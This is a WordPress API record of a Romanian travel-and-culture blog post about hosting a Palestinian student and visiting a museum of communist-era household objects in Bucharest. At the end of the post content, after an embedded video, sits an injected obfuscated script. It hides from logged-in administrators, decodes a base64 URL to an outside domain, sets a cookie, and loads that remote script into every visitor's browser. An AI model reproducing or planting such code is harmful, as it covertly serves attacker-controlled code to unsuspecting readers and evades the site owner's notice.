{"id":4593,"date":"2017-04-04T01:08:10","date_gmt":"2017-04-03T22:08:10","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4593"},"modified":"2025-10-17T20:02:57","modified_gmt":"2025-10-17T17:02:57","slug":"orientul-cel-nu-foarte-indepartat","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/04\/orientul-cel-nu-foarte-indepartat\/","title":{"rendered":"Orientul cel nu foarte \u00eendep\u0103rtat"},"content":{"rendered":"<div class=\"entry\">\n<p style=\"text-align: justify;\">M-am f\u0103cut mai nou gazd\u0103 pe Couchsurfing. Ce-i \u015fi \u0103sta? P\u0103i e .. un sait care permite ca oamenii cu spa\u0163iu \u00een cas\u0103 s\u0103-\u015fi g\u0103seasc\u0103 diver\u015fi c\u0103l\u0103tori pe care s\u0103-i g\u0103zduiasc\u0103 pe termen scurt. Nu se cer bani pentru chestiune, toat\u0103 treaba fiind etichetat\u0103 drept un <em>schimb cultural<\/em>.<\/p>\n<p style=\"text-align: justify;\">Recent am avut-o \u00een vizit\u0103 pe M., o student\u0103 din Germania.<\/p>\n<p style=\"text-align: justify;\">De fapt, nu chiar din Germania. M. tr\u0103ie\u015fte la nem\u0163i, \u00eens\u0103 este acolo doar prin burs\u0103 Erasmus. De felul ei, este din Palestina.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Ce face rom\u00e2nul cu oaspe\u0163ii? P\u0103i \u00eei \u00eendoap\u0103 bine, \u00een primul r\u00eend. Chestia asta s-a rezolvat u\u015for, m\u0103m\u0103lig\u0103 cu sm\u00eent\u00een\u0103 ((De cas\u0103, da? De-aia de o iei cu lingura, o arunci pe perete \u015fi st\u0103 acolo.)) \u015fi c\u00eerna\u0163i, cantitatea perfect\u0103 de gr\u0103simi pentru a spune &#8220;<em>Welcome to Romania<\/em>&#8220;.<\/p>\n<p style=\"text-align: justify;\">Odat\u0103 rezolvat\u0103 problema, am trecut la beute. Cum nu se face s\u0103 stai numa&#8217; \u00een cas\u0103, am dat o tur\u0103 p\u00een\u0103 \u00een <a href=\"https:\/\/www.facebook.com\/scartloclejer\/\">Sc\u00eer\u0163<\/a>\u00a0(Loc Lejer).<\/p>\n<p style=\"text-align: justify;\">Sc\u00eer\u0163 are la subsol un fel de .. muzeu. E vag exagerat s\u0103-i spunem a\u015fa, dar e cel mai bun termen. Colec\u0163iei \u00eei zice &#8220;Muzeul Consumatorului Comunist&#8221;, \u015fi e practic o adun\u0103tur\u0103 eterogen\u0103 de obiecte de pe vremea \u00cempu\u015fcatului. Dou\u0103 camere pline-ochi cu obiecte din perioada comunist\u0103, plus un coridor \u015fi-o buc\u0103t\u0103rie decorate idem.<\/p>\n<p style=\"text-align: justify;\">S\u0103 m\u0103 esplic:<\/p>\n<figure id=\"attachment_4595\" aria-describedby=\"caption-attachment-4595\" style=\"width: 375px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4595 size-medium\" src=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC2-375x500.jpg\" alt=\"Muzeul Consumatorului Comunist - biblioteca\" width=\"375\" height=\"500\" srcset=\"http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC2-375x500.jpg 375w, http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC2.jpg 600w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/a><figcaption id=\"caption-attachment-4595\" class=\"wp-caption-text\">Muzeul Consumatorului Comunist &#8211;\u00a0biblioteca<\/figcaption><\/figure>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Cobor\u00eem la subsol, \u015fi \u00eencepem s\u0103-i ar\u0103t\u0103m lui M. diversele obiecte. De obicei, reac\u0163ia str\u0103inilor este de &#8220;<em>WOW, chiar a\u015fa? Mam\u0103, ce prost trebuie c\u0103 tr\u0103iau. Ce bine c\u0103 ast\u0103zi avem o societate multilateral dezvoltat\u0103. Ce\u00a0na\u015fpa trebuie s\u0103 fi fost, s\u0103 n-ai muzic\u0103 mp3 sau filme porno pe smartphone.<\/em>&#8220;.<\/p>\n<p style=\"text-align: justify;\">M. \u00eens\u0103 nu d\u0103 semne c-ar c\u0103dea de pe c\u00eecat. Dimpotriv\u0103, e vag amuzat\u0103. Telefonul cu disc \u00eei aminte\u015fte de cel de acas\u0103, e un model similar cu al rudelor. Care rude, da, mai au \u015fi picap (pick-up?). \u015ei discuri de picap. \u015ei dulapuri masive.<\/p>\n<p style=\"text-align: justify;\">De fapt, ar fi mai scurt\u0103 lista obiectelor care nu-s similare.<\/p>\n<figure id=\"attachment_4594\" aria-describedby=\"caption-attachment-4594\" style=\"width: 375px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-4594\" src=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC1-375x500.jpg\" alt=\"Muzeul Consumatorului Comunist - obiecte din sufragerie\" width=\"375\" height=\"500\" srcset=\"http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC1-375x500.jpg 375w, http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC1.jpg 600w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/a><figcaption id=\"caption-attachment-4594\" class=\"wp-caption-text\">Muzeul Consumatorului Comunist &#8211; obiecte din sufragerie<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">P\u0103i cum a\u015fa? P\u0103i simplu: Palestina \u00eenc\u0103 treneaz\u0103. Pare-se c\u0103 a te bombarda cu na\u0163ia vecin\u0103 timp de c\u00eeteva zeci de ani are un efect vag distructiv asupra economiei locale. Mai r\u0103m\u00eei \u015fi-n urm\u0103, a\u015fa, pu\u0163in, pe fund.<\/p>\n<p style=\"text-align: justify;\">Se pare c\u0103 Palestina \u00eenc\u0103 nu beneficiaz\u0103 de teveuri &#8220;smart&#8221;. La ei nu se fac \u00eenc\u0103 succese cu blogul. Succes e s\u0103 supravie\u0163uie\u015fti, \u00een primul r\u00eend.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Continu\u0103m prezentarea, ajungem la &#8220;buc\u0103t\u0103rie&#8221;.<\/p>\n<p style=\"text-align: justify;\">M. prive\u015fte siderat\u0103, din motivul simplu c\u0103 .. c\u0103 arat\u0103 aproape identic cu aia de acas\u0103. \u00cencep\u00eend cu uneltele de m\u0103cinat carnea, trec\u00eend prin sticla de lapte care-i aproape la fel ca acas\u0103, \u015fi ajung\u00eend p\u00een\u0103 la aragazul pe butelie, care-i FIX IDENTIC cu al p\u0103rin\u0163ilor.<\/p>\n<figure id=\"attachment_4596\" aria-describedby=\"caption-attachment-4596\" style=\"width: 375px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-4596\" src=\"https:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC3-375x500.jpg\" alt=\"Muzeul Consumatorului Comunist - buc\u0103t\u0103ria\" width=\"375\" height=\"500\" srcset=\"http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC3-375x500.jpg 375w, http:\/\/daimon.me\/blog\/wp-content\/uploads\/MCC3.jpg 600w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/a><figcaption id=\"caption-attachment-4596\" class=\"wp-caption-text\">Muzeul Consumatorului Comunist &#8211; buc\u0103t\u0103ria<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">De unde robo\u0163i de buc\u0103t\u0103rie? Sau alte scule moderne? \u00cen Palestina carnea se macin\u0103 manual, fri\u015fca se bate cu telul, iar zacusca se pune \u00een continuare la borcan pe iarn\u0103. A, \u015fi-s \u015fi ei mari fani mur\u0103turi ((Nu cum <a href=\"http:\/\/trilema.com\/2016\/ferments\/\">insinueaz\u0103<\/a> ur\u00eecio\u015fii, cum c-am fi singurii :D)).<\/p>\n<p style=\"text-align: justify;\">S-ar zice c-am plecat de acolo educa\u0163i &amp; informa\u0163i noi, localnicii, iar nu vizitatoarea.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">\u00cen \u00eencheiere, v\u0103 urez un pl\u0103cut Intro to Shamstep!<\/p>\n<p>\u00a0<iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/e0aPuIpOAoc\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>M-am f\u0103cut mai nou gazd\u0103 pe Couchsurfing. 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